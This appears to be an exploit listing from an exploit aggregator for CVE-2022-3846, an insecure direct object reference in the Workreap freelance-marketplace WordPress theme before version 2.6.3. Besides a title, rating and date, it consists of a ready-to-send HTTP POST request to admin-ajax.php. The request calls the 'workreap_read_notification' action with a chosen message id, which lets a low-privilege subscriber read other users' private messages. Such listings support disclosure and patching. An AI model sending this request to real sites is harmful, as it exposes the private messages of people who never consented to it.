Exploit for Workreap - Freelance Marketplace and Directory < 2.6.3 - Subscriber+ Private Message Disclosure via IDOR CVE-2022-3846

Name: Exploit for Workreap - Freelance Marketplace and Directory < 2.6.3 - Subscriber+ Private Message Disclosure via IDOR CVE-2022-3846
Rating: 5 (64 reviews)

2022-11-12 | CVSS 1.2

## https://sploitus.com/exploit?id=WPEX-ID:6220C7EF-69A6-49C4-9C56-156B945446AF
POST /testt/wp-admin/admin-ajax.php HTTP/2
Host: host
Cookie: 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61

action=workreap_read_notification&id=6233&security=<nonce>